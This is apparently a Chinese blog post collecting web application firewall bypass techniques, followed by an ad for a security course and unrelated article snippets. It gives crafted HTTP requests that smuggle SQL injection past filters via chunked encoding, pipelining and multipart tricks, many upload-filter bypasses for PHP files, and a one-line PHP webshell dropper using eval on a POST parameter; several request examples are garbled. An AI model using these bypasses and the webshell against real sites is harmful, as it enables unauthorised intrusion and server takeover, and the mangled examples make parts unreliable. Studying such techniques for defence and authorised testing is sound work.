news 2026/2/9 4:42:14

【2025】网络安全各类WAF绕过技巧,收藏就够了

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【2025】网络安全各类WAF绕过技巧,收藏就够了

目录

一、WAFWAFWAF绕过

1、脏数据绕过

2、高并发绕过

3、http参数污染

4、数据格式混淆

5、编码绕过

6、利用http协议绕过waf

7、请求方式转换

二、文件上传绕过

1、等号绕过

2、换行绕过

3、填充垃圾字符

4、NTFS ADS特性绕过

5、利用WAF的缺陷

6、双文件上传

7、条件竞争上传

8、特性


一、WAF绕过
1、脏数据绕过

即传入一段长数据使waf失效,从而实现绕过waf。某些waf处理POST的数据时,只会检测开头的8K,后面选择全部放过。

例如,当发现某网站存在一个反序列化漏洞反序列化漏洞反序列化漏洞时,但是无回显,被waf拦截了

利用脏数据插入5000个x字符,可以成功绕过。

2、高并发绕过

对请求进行并发,攻击请求会被负载均衡调度到不同节点,导致某些请求绕过了waf的拦截

3、http参数污染

在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。

4、数据格式混淆

利用数据格式解析缺陷,存在两种提交表单数据的请求类型

application/x-www-form-urlencoded

multipart/form-data 支持key-Value方式

可以修改提交格式

这两种方式提交数据的效果是一样的。

当然,除了这种方式外一些其他方式也可能绕过waf,例如将传入json数据,将其修改为HTTP请求,或者修改content-type等方式(当然是在应用能够正常解析的前提下)

5、编码绕过

对请求数据进行编码,例如url编码,Unicode编码等,如果waf对数据不能有效的解码,而应用后端能够正常解码,就可以绕过waf。
例如最常见的url编码,对数据进行二次url编码,waf进行一次解码并不能解析到有效的数据,而后端在进行解码时传入的为有效的恶意数据。

6、利用http协议绕过waf

6.1 分块传输绕过waf

在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。

注意:分块编码传输需要将关键字and,or,select ,union等关键字拆开编码,不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束,并在0后空两行表示数据包结束,不然点击提交按钮后会看到一直处于waiting状态。

eg:

……………… Connection: close Upgrade-Insecure-Requests: I ontent-Type: application/x-www-form-urlencoded Content-Length: 50 4 a=1 4 unio 4 n se 5 lect 1 1 0

6.2 畸形包绕过(pipline绕过)

原理:

http协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即我们用burpsuite截获的数据),其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。

点击burp中Repeater,在下拉选项中取消update Content-Length选中。

eg:

POST /sqlinject.php Http/1.0 Host:127001 User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101 Firefox/65.0 Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8 Accept-Language: en-US,en:q=0.5 Referer:http://127.0.0.1/sqlinjectphp?id=1 Content-Type: application/x-www-form-urlencoded Content-Length: 4 Connection:keep-alive Upgrade-Insecure-Requests: 1 id=1post/sqlinjeCt.php Http/1.0 Host:127.00.1 User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010 Firefox/65.0 Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8 Accept-Language: en-US, en, q=0.5 Referer:http://127.0.0.1/sqlinjectphp?id=1 Content-Type: application/x-www-form-urlencoded Content-Length: 12 Connection: close pgrade-Insecure-Requests: 1 d=l and 1=1

然后你会收到两个返回包,不过这种方法有可能被waf给拦截

6.3 协议覆盖

原理:

HTTP头里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三种,其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当waf没有规则匹配该协议传输的数据时可被绕过。

将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行。由于是正常数据提交,数据是能被apache容器正确解析的,尝试1 and 1=1也会被某狗waf拦截,但如果其他waf没有规则拦截这种方式提交的数据包,那么同样能绕过。

POST /sQlinJect php Http/1.0 User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0 Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8 Accept-Language: en-US, en: q=0.5 Referer:http://127.0.0.1/sqlinject.php?id Content-Type: multipart/form-data; boundary=69 Content-Length: 60 Connection close Upgrade-Insecure-Requests:1

–69
Content-Disposition: form-data; name=“id”

1
–69–

7、请求方式转换

waf 在对危险字符进行检测的时候,分别为 post 请求和 get 或者其它的请求方式设定了不同的匹配规则,请求被拦截,变 换请求方式有几率能绕过检测

例如:

或者修改为其它允许的方式,例如options, head等提交方式。

二、文件上传绕过
1、等号绕过

在filename后多添加两个等号

2、换行绕过

在文件后缀名处换行

3、填充垃圾字符

有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验。

在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验

当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。

4、NTFS ADS特性绕过

ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。

5、利用WAF的缺陷
6、双文件上传

本意为上传两个或多个文件去突破。上传点支持多文件上传,但是却只对第一个文件做了过滤。

利用方式:

<form action="https://www.xxx.com/xxx.asp(php)" method="post" name="form1" enctype="multipart/form‐data"> <input name="FileName1" type="FILE" class="tx1" size="40"> <input name="FileName2" type="FILE" class="tx1" size="40"> <input type="submit" name="Submit" value="上传"> </form>

利用时只需要修改action的值为指定上传页面即可

eg:

------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.txt" Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript

最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

7、条件竞争上传

一些网站上传文件的逻辑时先允许上传任意文件,然后检查上传文件的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。

<?php fputs(fopen("../shell.php", "w"),'<?php @eval($_POST['cmd']); ?>'); ?>
8、特性

多个filename

早期版本安全狗,可以多加一个filename

Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"

最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。

交换name和filename的顺序

规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。

Content-Disposition: form-data; filename="xx.php"; name=file_x

去掉引号,双引号变成单引号

Content-Disposition: form-data; name=file_x; filename="xx.php" Content-Disposition: form-data; name=file_x; filename=xx.php Content-Disposition: form-data; name="file_x"; filename=xx.php Content-Disposition: form-data; name='file_x'; filename='xx.php'

单引号、双引号、不要引号,都能上传。

大小写

对这三个固定的字符串进行大小写转换

去掉或修改Content-Disposition值

有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。

Content-Disposition: name='file_x'; filename='xx.php'

多个boundary

最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.txt" Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript

多个分号

文件解析时,可能解析不到文件名,导致绕过。

Content-Disposition: form-data; name="file_x";;; filename="test.php"

Header在boundary前添加任意字符

PHP支持,JAVA报错

Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

filename换行

PHP支持,Java不支持

Content-Disposition: form-data; name="file_x"; file name="test.php"

name和filename添加任意字符串

PHP支持,Java不支持

Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";

POST/GET

有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。
此种情况可以上传一个POST型的数据包,抓包将POST改为GET。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/7 16:06:11

34、Linux 文件共享与网络传输全攻略

Linux 文件共享与网络传输全攻略 在现代的 Linux 系统使用中,文件共享和网络传输是非常重要的功能。下面将详细介绍如何使用 Samba 进行文件和打印机共享,以及如何利用 rsync 进行网络文件传输。 1. Samba 服务器的使用 1.1 启动 Samba 服务器 在添加用户和密码后,需要启…

作者头像 李华
网站建设 2026/1/30 10:54:20

7、线程同步与延迟执行技术详解

线程同步与延迟执行技术详解 1. 读写锁(Reader/Writer Locks) 读写锁本质上是具有 sx 锁语义的互斥锁。线程可以以读者(共享持有)或写者(独占持有)的身份持有读写锁。和互斥锁一样,读写锁支持优先级传播,并且线程在睡眠时不能持有读写锁(否则内核会崩溃)。读写锁…

作者头像 李华
网站建设 2026/2/6 18:51:55

13、并行端口打印机驱动与资源管理使用详解

并行端口打印机驱动与资源管理使用详解 1. 并行端口打印机驱动函数分析 在并行端口打印机驱动中,有多个关键函数负责不同的任务,下面为大家详细介绍这些函数的功能和实现。 1.1 lpt_timeout 函数 该函数是 lpt(4) 的回调函数,主要用于处理丢失或未处理的中断。其代码如…

作者头像 李华
网站建设 2026/2/4 10:33:08

11、使用 iptables 进行网络数据包处理与七层过滤

使用 iptables 进行网络数据包处理与七层过滤 1. 使用 iptables 进行数据包修改 “数据包修改(Packet Mangling)”这个术语可能会让人误以为它带有恶意性质,但实际上并非如此。数据包修改指的是在路由过程前后,有意改变 IP 数据包头部数据的过程。不过,并非 IP 数据包头…

作者头像 李华
网站建设 2026/2/1 9:51:49

8、防火墙前置知识:netfilter 与 iproute2

防火墙前置知识:netfilter 与 iproute2 1. 网络连接与 TCP 流量控制 为使网络连接正常工作,我们需要允许已建立的 TCP 连接的传入 TCP 流量。更准确地说,应拒绝不属于本计算机发起的 TCP 连接的任何传入 TCP 流量(即拒绝 TCP SYN 数据包)。 2. iproute2 软件包 iprout…

作者头像 李华
网站建设 2026/2/8 4:07:40

16、网络防火墙设计与QoS配置实战

网络防火墙设计与QoS配置实战 1. 防火墙设计概述 乍一看,为这个网络设计防火墙似乎很复杂,但实际上构建起来相当简单。主要关注点在于数据库安全,通过在不同地点之间建立隧道,加密为我们提供了所需的大部分保护,确保数据库复制时数据不会被拦截。中间人若想窃取站点间的…

作者头像 李华